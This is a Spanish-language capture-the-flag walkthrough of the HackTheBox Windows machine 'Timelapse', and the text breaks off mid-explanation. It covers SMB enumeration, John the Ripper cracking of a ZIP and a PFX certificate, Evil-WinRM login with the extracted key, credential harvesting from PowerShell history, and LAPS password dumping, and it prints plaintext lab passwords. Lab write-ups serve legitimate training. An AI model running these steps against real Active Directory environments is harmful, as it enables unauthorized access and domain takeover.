Timelapse

Dificultad: Easy - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

El CTF Timelapse propone un escenario de análisis y explotación de una máquina Windows dentro de un entorno Active Directory. El enfoque inicial consiste en realizar una enumeración de red mediante herramientas como Nmap, lo cual permite identificar servicios expuestos —particularmente SMB— y obtener acceso anónimo a un recurso compartido. Dentro de este recurso, se localiza un archivo comprimido que contiene una clave en formato PFX cifrada. La estrategia aquí involucra la utilización de técnicas de cracking de contraseñas (empleando herramientas como John the Ripper) para descifrar tanto el archivo ZIP como el contenido PFX. A partir de este proceso se extraen un certificado SSL y una clave privada, que permiten establecer una sesión autenticada en el servicio WinRM de la máquina objetivo.

Una vez obtenida la sesión inicial con privilegios limitados, el análisis se orienta a la búsqueda de credenciales adicionales y de posibles vectores de escalamiento de privilegios. La clave reside en la revisión de archivos de historial de PowerShell que contienen credenciales de un usuario de servicio con mayores permisos. A través de esta nueva cuenta, se descubre la pertenencia al grupo LAPS_Readers, que otorga permisos para leer contraseñas de cuentas locales administradas por la solución LAPS (Local Administrator Password Solution). Este es un componente de seguridad de Active Directory que gestiona de manera centralizada las contraseñas locales, y constituye un vector privilegiado para la escalada.

Finalmente, se explota este acceso a LAPS mediante la carga de un módulo de PowerShell diseñado para recuperar contraseñas administradas. Al obtener la contraseña del usuario administrador de la máquina, es posible establecer una nueva sesión WinRM con privilegios elevados. Así, el CTF plantea un recorrido que integra la enumeración de servicios, el cracking de contraseñas, la autenticación basada en certificados, y la explotación de mecanismos de gestión de credenciales corporativas como LAPS, conformando un caso de estudio completo sobre técnicas ofensivas en entornos Windows.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nmap -sCV --open -T4 -v -n 10.10.11.152 
📌 Parámetros
  • sCV:

    • -sCEjecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sVDetección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -nNo resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --openMuestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -vModo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2025-06-13 11:24:17Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
5986/tcp open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_ssl-date: 2025-06-13T11:25:42+00:00; +7h50m44s from scanner time.
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Issuer: commonName=dc01.timelapse.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-10-25T14:05:29
| Not valid after:  2022-10-25T14:25:29
| MD5:   e233:a199:4504:0859:013f:b9c5:e4f6:91c3
|_SHA-1: 5861:acf7:76b8:703f:d01e:e25d:fc7c:9952:a447:7652
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|_  http/1.1
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-13T11:25:04
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h50m43s, deviation: 0s, median: 7h50m43s

En síntesis:

| Puerto   | Estado | Servicio           | Protocolo |
|----------|--------|--------------------|-----------|
| 53/tcp   | open   | domain             | tcp       |
| 88/tcp   | open   | kerberos-sec       | tcp       |
| 135/tcp  | open   | msrpc              | tcp       |
| 139/tcp  | open   | netbios-ssn        | tcp       |
| 389/tcp  | open   | ldap               | tcp       |
| 445/tcp  | open   | microsoft-ds       | tcp       |
| 464/tcp  | open   | kpasswd5           | tcp       |
| 593/tcp  | open   | ncacn_http         | tcp       |
| 636/tcp  | open   | ldapssl            | tcp       |
| 3268/tcp | open   | ldap               | tcp       |
| 3269/tcp | open   | globalcatLDAPssl   | tcp       |
| 5986/tcp | open   | ssl/http           | tcp       |

Algunos de los elementos que nos reveló el escaneo de nmap y que son relevantes para este contexto:

  • El puerto 445/tcp (SMB) está abierto y permite el acceso a recursos compartidos. Es el primer vector que podemos explotar para obtener archivos sensibles.

  • El puerto 5986/tcp (WinRM sobre SSL) está abierto, lo que nos permitirá autenticarnos de manera remota utilizando credenciales o certificados que hallemos más adelante.

  • Los puertos 389/tcp, 636/tcp, 3268/tcp y 3269/tcp muestran que la máquina es parte de un dominio Active Directory (dominio timelapse.htb), lo cual es clave para entender la estructura de privilegios y para la posterior explotación de LAPS.

  • El puerto 88/tcp confirma la presencia de Kerberos, lo que indica que la autenticación centralizada está habilitada y que podríamos encontrarnos con tickets o configuraciones útiles.

  • El puerto 445 permite enumerar shares SMB sin autenticación, desde donde se podrá obtener el archivo ZIP que inicia la cadena de explotación.

  • La diferencia horaria del servidor kerberos con mi equipo Kali: esto es importante en contextos de Kerberos, ya que este protocolo es muy sensible a la sincronización horaria. Una diferencia mayor a 5 minutos por defecto puede causar que el cliente no pueda autenticarse correctamente, afectando herramientas como Kerbrute o impacket cuando se realizan ataques como AS-REP Roasting o Kerberoasting.

  • Nmap también detectó información útil de dominio a través de servicios como LDAP y RDP (rdp-ntlm-info y certificados SSL), incluyendo:

    • timelapse.htb (dominio principal)

    • dc01.timelapse.htb (nombre FQDN del controlador de dominio)

    • DC01 (nombre del host NetBIOS)

    Para asegurar una correcta resolución DNS durante el CTF (especialmente para herramientas que dependen del nombre de dominio o de servicios Kerberos), es necesario mapear la IP de la máquina al dominio en el /etc/hosts del equipo Kali

Para setear estas últimas configuraciones vamos a usar los siguientes comandos:

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# echo "10.10.11.152    timelapse.htb dc01.timelapse.htb" >> /etc/hosts 
                                                                                                                    
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ntpdate 10.10.11.152                   
2025-06-13 09:42:09.322139 (-0400) +28244.066116 +/- 0.114962 10.10.11.152 s1 no-leap
CLOCK: time stepped by 28244.066116

Enumerando recursos del SMB con NXC

Aprovechando que se encuentra disponible el servicio SMB podemos intentar una enumeración de recursos autenticándonos como usuario guest (anónimo) mediante nxc

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nxc smb timelapse.htb -u 'guest' -p '' --shares
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\guest: 
SMB         10.10.11.152    445    DC01             [*] Enumerated shares
SMB         10.10.11.152    445    DC01             Share           Permissions     Remark
SMB         10.10.11.152    445    DC01             -----           -----------     ------
SMB         10.10.11.152    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.152    445    DC01             C$                              Default share
SMB         10.10.11.152    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.152    445    DC01             NETLOGON                        Logon server share 
SMB         10.10.11.152    445    DC01             Shares          READ            
SMB         10.10.11.152    445    DC01             SYSVOL                          Logon server share 
📌 Recursos enumerados

ADMIN$

  • Función: Share administrativo oculto que apunta a la carpeta del sistema (C:\Windows).

  • Uso típico: Utilizado por administradores y servicios del sistema para administración remota.

C$

  • Función: Share oculto que da acceso directo a la raíz del disco C:\.

  • Uso típico: Administración remota por parte de usuarios con privilegios altos.

IPC$

  • Función: “Inter-Process Communication share”.

  • Uso típico: Utilizado para establecer sesiones SMB, autenticaciones y conexiones de servicios como RPC o WinRM.

  • Permisos: READ → significa que podés usarlo como canal para consultas básicas.

NETLOGON

  • Función: Share del controlador de dominio que contiene scripts de inicio de sesión y políticas.

  • Uso típico: Usado en entornos Active Directory para desplegar scripts de inicio de sesión a usuarios del dominio.

SYSVOL

  • Función: Como NETLOGON, es parte de la infraestructura de Active Directory. Contiene políticas, GPOs y archivos públicos para clientes del dominio.

  • Uso típico: Distribuir configuraciones, scripts o políticas a los equipos del dominio.

Tenemos permisos de lectura sobre los recursos IPC y Shares. Ahora vamos a hacer uso del módulo --spider de nxc para enumerar todos los archivos que se encuentren allí y buscar alguno que nos resulte interesante para descargar

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nxc smb timelapse.htb -u 'guest' -p '' --spider Shares --regex "."
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\guest: 
SMB         10.10.11.152    445    DC01             [*] Started spidering
SMB         10.10.11.152    445    DC01             [*] Spidering .
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/. [dir]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/.. [dir]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/Dev [dir]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/HelpDesk [dir]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/Dev/. [dir]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/Dev/.. [dir]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/Dev/winrm_backup.zip [lastm:'2021-10-25 17:05' size:2611]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/HelpDesk/. [dir]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/HelpDesk/.. [dir]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/HelpDesk/LAPS.x64.msi [lastm:'2021-10-25 11:55' size:1118208]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/HelpDesk/LAPS_Datasheet.docx [lastm:'2021-10-25 11:55' size:104422]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/HelpDesk/LAPS_OperationsGuide.docx [lastm:'2021-10-25 11:55' size:641378]
SMB         10.10.11.152    445    DC01             //10.10.11.152/Shares/HelpDesk/LAPS_TechnicalSpecification.docx [lastm:'2021-10-25 11:55' size:72683]
SMB         10.10.11.152    445    DC01             [*] Done spidering (Completed in 4.209821462631226)
📌 Parámetros
  • nxc smb → Llama a NXC en módulo de tipo smb.

  • timelapse.htb → Target: el host o dominio que vamos a atacar (podés usar IP o dominio).

  • -u 'guest' → Usuario con el que nos autenticamos, en este caso el usuario guest.

  • -p '' → Contraseña vacía (comillas simples vacías), para autenticarnos como guest sin password.

  • --spider Shares → Spidering: explora recursivamente los archivos dentro del share llamado Shares. El módulo Spidering nos permite descubrir todos los archivos y directorios dentro del share.

  • --regex "." → Filtro de archivos a mostrar con regex. En este caso "." significa "cualquier cosa" (expresión regular que matchea todo), así que va a listar todos los archivos.

Encontramos expuesto el archivo winrm_backup.zip, si lo queremos analizar en nuestro equipo lo tenemos que descargar de la siguiente manera

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nxc smb timelapse.htb -u 'guest' -p '' --share Shares --get-file "Dev/winrm_backup.zip" "winrm_backup.zip" 

SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\guest: 
SMB         10.10.11.152    445    DC01             [*] Copying "Dev/winrm_backup.zip" to "winrm_backup.zip"
SMB         10.10.11.152    445    DC01             [+] File "Dev/winrm_backup.zip" was downloaded to "winrm_backup.zip"
                                                                                                                    
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ls                                               
winrm_backup.zip
📌 Parámetros
  • nxc smb → Llama a NXC en módulo de tipo smb.

  • timelapse.htb → Target: el host o dominio que vamos a atacar.

  • -u 'guest' → Usuario con el que nos autenticamos guest.

  • -p '' → Contraseña vacía.

  • --share Shares → Indica el nombre del recurso compartido (share) donde va a ingresar Shares.

  • --get-file "Dev/winrm_backup.zip" "winrm_backup.zip"descargaamos un archivo del directorio Share. → "Dev/winrm_backup.zip" → ruta interna dentro del share Shares hacia el archivo que queremos descargar. → "winrm_backup.zip" → nombre con el que vamos a guardar el archivo en local.

Password cracking con John

Al intentar descomprimir este archivo zip nos solicitan una contraseña, pero como no contamos con ella lo que vamos a realizar es una extracción del hash del archivo comprimido usando el complemento zip2john para después crackearlo con John the Ripper

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# zip2john winrm_backup.zip > hash.txt         
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
                                                                                                       
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# john -w=/usr/share/wordlists/rockyou.txt hash.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2025-06-14 02:17) 3.448g/s 11963Kp/s 11963Kc/s 11963KC/s surkerior..suppamas
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Una vez que John nos devuelva la password del zip, lo descomprimimos y nos vamos a encontrar con un archivo de extensión .pfx el cual también se encuentra protegido con contraseña

¿Qué representa la extención .pfx?

La extensión .pfx corresponde a un archivo en formato PKCS#12, un contenedor cifrado que agrupa un certificado digital (clave pública) junto con su clave privada y, en algunos casos, una cadena de certificados intermedios. Este tipo de archivo se utiliza comúnmente para la autenticación y el cifrado en redes seguras, especialmente en entornos Windows, donde puede emplearse para habilitar la autenticación de usuarios o servicios mediante certificados. Los archivos .pfx suelen estar protegidos por contraseña y son utilizados, por ejemplo, para configurar conexiones seguras como WinRM sobre HTTPS, firmar software, o importar certificados a sistemas que requieren confianza criptográfica entre clientes y servidores.

Por suerte John cuenta con otro complementó que nos permite extraer hashes de este tipo de archivos para luego crackearlos y obtener su contraseña

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# unzip winrm_backup.zip                              
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: legacyy_dev_auth.pfx    
                                                                                                       
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ls
hash.txt  legacyy_dev_auth.pfx  winrm_backup.zip
                                                                                                       
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# pfx2john legacyy_dev_auth.pfx > pfxhash
                                                                                                       
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# john -w=/usr/share/wordlists/rockyou.txt pfxhash 
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:01:00 DONE (2025-06-14 02:20) 0.01653g/s 53417p/s 53417c/s 53417C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

PFX credential abuse

Ahora vamos a usar openssl para extraer los componentes internos del archivo .pfx (legacyy_dev_auth.pfx), que contiene un certificado digital y una clave privada, utilizando la contraseña que John nos devolvió. Estas dos salidas (certificate.pem y private-key.pem) son los componentes necesarios para autenticarse mediante el servicio WinRM con certificados

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private-key.pem -nodes -password pass:thuglegacy                                                               
                                                                                                       
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out certificate.pem -password pass:thuglegacy                                                                                                       

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ls
certificate.pem  hash.txt  legacyy_dev_auth.pfx  pfxhash  private-key.pem  winrm_backup.zip
📌 Parámetros

Primer comando

  • -in legacyy_dev_auth.pfx: especifica el archivo .pfx de entrada.

  • -nocerts: indica que no querés extraer el certificado, solo la clave privada.

  • -out private-key.pem: nombre del archivo de salida donde se guarda la clave privada.

  • -nodes: evita que se vuelva a cifrar la clave privada al exportarla (la deja en texto plano).

  • -password pass:thuglegacy: indica la contraseña del .pfx (evita que te la pida interactivo).

  • Resultado: se extrae la clave privada sin cifrar, y se guarda en private-key.pem

Segundo comando

  • -clcerts: extrae solo el certificado del cliente (evita certificados intermedios o de CA).

  • -nokeys: indica que no se debe extraer la clave privada.

  • -out certificate.pem: nombre del archivo de salida para el certificado.

  • El resto es igual: indica el archivo de entrada y la contraseña.

Certificate-based authentication abuse

Ya tenemos los certificados en nuestro poder, pero ahora ¿cómo los utilizamos? si revisamos el manual de comandos de EvilWinRM vamos a encontrar el parámetro -c y -k que son los que nos permitirán autenticarnos con certificados digitales, en vez de utilizar las credenciales por defecto, entonces eso es lo que haremos ahora

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# evil-winrm                                   
                                        
Evil-WinRM shell v3.7
                                        
Error: missing argument: ip, user

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
    -S, --ssl                        Enable ssl
    -a, --user-agent USERAGENT       Specify connection user-agent (default Microsoft WinRM Client)
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -r, --realm DOMAIN               Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
        --spn SPN_PREFIX             SPN prefix for Kerberos auth (default HTTP)
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname. FQDN for Kerberos auth (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required if not using kerberos)
    -p, --password PASS              Password
    -H, --hash HASH                  NTHash
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -n, --no-colors                  Disable colors
    -N, --no-rpath-completion        Disable remote path completion
    -l, --log                        Log the WinRM session
    -h, --help                       Display this help message
                                                                                                       
┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# evil-winrm -i 10.10.11.152 -c certificate.pem -k private-key.pem -S
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> 

Local enumeration

Una vez que logramos ingresar al equipo comprometido y tenemos RCE lo mejor es centrarnos en recolectar información crítica del entorno con el objetivo de:

  • Identificar usuarios privilegiados o cuentas de interés.

  • Enumerar pertenencias a grupos (net user, whoami /groups).

  • Revisar archivos sensibles (como historiales, scripts, contraseñas almacenadas).

  • Detectar servicios, tareas programadas o configuraciones mal implementadas.

  • Evaluar posibles vectores de escalada (como LAPS, ACLs, binarios con privilegios, etc.).

*Evil-WinRM* PS C:\Users\legacyy\Desktop> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            babywyrm                 Guest
krbtgt                   legacyy                  payl0ad
sinfulz                  svc_deploy               thecybergeek
TRX
The command completed with one or more errors.

*Evil-WinRM* PS C:\Users\legacyy\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\legacyy\Desktop> net user TRX
User name                    TRX
Full Name                    TRX
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/23/2022 6:43:45 PM
Password expires             Never
Password changeable          2/24/2022 6:43:45 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/15/2025 5:54:13 AM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Domain Admins
The command completed successfully.

*Evil-WinRM* PS C:\Users\legacyy\Desktop> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.

Al enumerar la información de los usuarios del sistema pudimos encontrar los siguientes objetivos de alto riesgo para escalar privilegios:

  1. El usuario TRX pertenece al grupo Domain Admins

  • Domain Admins es el grupo más privilegiado en un dominio de Active Directory. Cualquier cuenta que pertenezca a ese grupo tiene control total sobre el dominio, incluyendo la capacidad de ejecutar comandos en cualquier máquina, extraer hashes, y modificar políticas.

  • Puede ser útil para ataques tipo DCSync o dumping de ntds.dit si llegás a un controlador de dominio.

2. El usuario svc_deploy pertenece al grupo LAPS_Readers

  • El grupo LAPS_Readers tiene permiso para leer las contraseñas administradas por LAPS (Local Administrator Password Solution), que se almacenan en el atributo ms-Mcs-AdmPwd de los objetos de equipo en Active Directory.

  • Esto habilita un vector de escalada de privilegios vertical, ya que podemos usar LDAP o un módulo de PowerShell para leer la contraseña del administrador local de máquinas del dominio, incluyendo el propio DC.

3. Privilegios habilitados (whoami /priv)

  • SeMachineAccountPrivilege: permite agregar equipos al dominio.

  • SeChangeNotifyPrivilege: privilegio común, generalmente irrelevante.

  • SeIncreaseWorkingSetPrivilege: también de bajo impacto.

  • Por qué es importante: Aunque no hay privilegios como SeImpersonatePrivilege o SeDebugPrivilege (que son típicos vectores de escalada en entornos locales), la presencia de SeMachineAccountPrivilege puede ser útil en algunos contextos de dominio para ataques como Resource-based Constrained Delegation (RBCD), si se combinan con otras condiciones.

Otro elemento que podemos inspeccionar en busca de credenciales filtradas es el history powershell del usuario legacy, por default la ruta a este tipo de archivos es

AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Otra forma más exhaustiva de enumeración local es cargando el winPEASx64.exe y ejecutarlo, allí también podemos encontrar la ruta a este archivo

*Evil-WinRM* PS C:\Users\legacyy> type AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Una vez que logramos obtener un nuevo par de credenciales lo más recomendable es testear a que servicios nos podemos conectar/logear, de esta forma tendremos una idea de por donde continuar el ataque/intrusión. Para automatizar esta tarea diseñe un script en bash que lo podes obtener del siguiente repositorio: service_validation.sh

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# service_validation.sh timelapse.htb svc_deploy 'E3R$Q62^12p7PLlC%KWaxuaV'
[*] Probando credenciales contra timelapse.htb con usuario 'svc_deploy'...

--- Probando smb ---
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

--- Probando ldap ---
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.152    389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

--- Probando winrm ---
WINRM-SSL   10.10.11.152    5986   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WINRM-SSL   10.10.11.152    5986   DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV (Pwn3d!)

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.11.152    135    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
RPC         10.10.11.152    135    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

--- Probando ftp ---

--- Probando ssh ---

Nos confirma el acceso al servicio winrm y lo que vamos a hacer es directamente descargar las credenciales de administrador local aprovechando el permiso LAPS_Readers del usuario svc_deploy

LAPSReader privilege abuse

LAPSReader privilege abuse es una técnica de post-explotación en la que un atacante, con acceso a una cuenta perteneciente al grupo LAPS_Readers (o con privilegios equivalentes), consulta el atributo ms-Mcs-AdmPwd de objetos de equipo en Active Directory. Este atributo contiene en texto claro la contraseña del administrador local gestionada automáticamente por LAPS (Local Administrator Password Solution). Algunas de las opciones para explotar este privilegio son:

*Evil-WinRM* PS C:\temp> Get-ADComputer -Filter * -Property ms-MCS-AdmPwd | Select-Object Name, ms-MCS-AdmPwd

Name  ms-MCS-AdmPwd
----  -------------
DC01  W+Oyp}1)lD;kgIe%m},N2+4f
DB01
WEB01
DEV01

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# bloodyAD --host '10.10.11.152' -d 'timelapse.htb' -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

distinguishedName: CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
ms-Mcs-AdmPwd: W+Oyp}1)lD;kgIe%m},N2+4f
ms-Mcs-AdmPwdExpirationTime: 133948976302622067

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# nxc ldap 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.152    389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS        10.10.11.152    389    DC01             [*] Getting LAPS Passwords
LAPS        10.10.11.152    389    DC01             Computer:DC01$ User:                Password:W+Oyp}1)lD;kgIe%m},N2+4f

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# ldapsearch -x -H ldap://DC01.timelapse.htb -D 'svc_deploy@timelapse.htb' -w 'E3R$Q62^12p7PLlC%KWaxuaV' -b 'DC=timelapse,DC=htb' '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd

# extended LDIF
#
# LDAPv3
# base <DC=timelapse,DC=htb> with scope subtree
# filter: (ms-Mcs-AdmPwd=*)
# requesting: ms-Mcs-AdmPwd 
#

# DC01, Domain Controllers, timelapse.htb
dn: CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
ms-Mcs-AdmPwd: W+Oyp}1)lD;kgIe%m},N2+4f

# search reference
ref: ldap://ForestDnsZones.timelapse.htb/DC=ForestDnsZones,DC=timelapse,DC=htb

# search reference
ref: ldap://DomainDnsZones.timelapse.htb/DC=DomainDnsZones,DC=timelapse,DC=htb

# search reference
ref: ldap://timelapse.htb/CN=Configuration,DC=timelapse,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 5
# numEntries: 1
# numReferences: 3
📌 Parámetros

Get-ADComputer -Filter * -Property ms-MCS-AdmPwd | Select-Object Name, ms-MCS-AdmPwd

  • Get-ADComputer → cmdlet de PowerShell para enumerar equipos del dominio.

  • -Filter * → selecciona todos los equipos sin filtrar ninguno.

  • -Property ms-MCS-AdmPwd → solicita específicamente que se incluya el atributo LAPS de contraseña administrada.

  • | Select-Object Name, ms-MCS-AdmPwd → muestra en pantalla solo el nombre del equipo y el atributo LAPS.

bloodyAD

  • --host '10.10.11.152' → dirección IP del controlador de dominio.

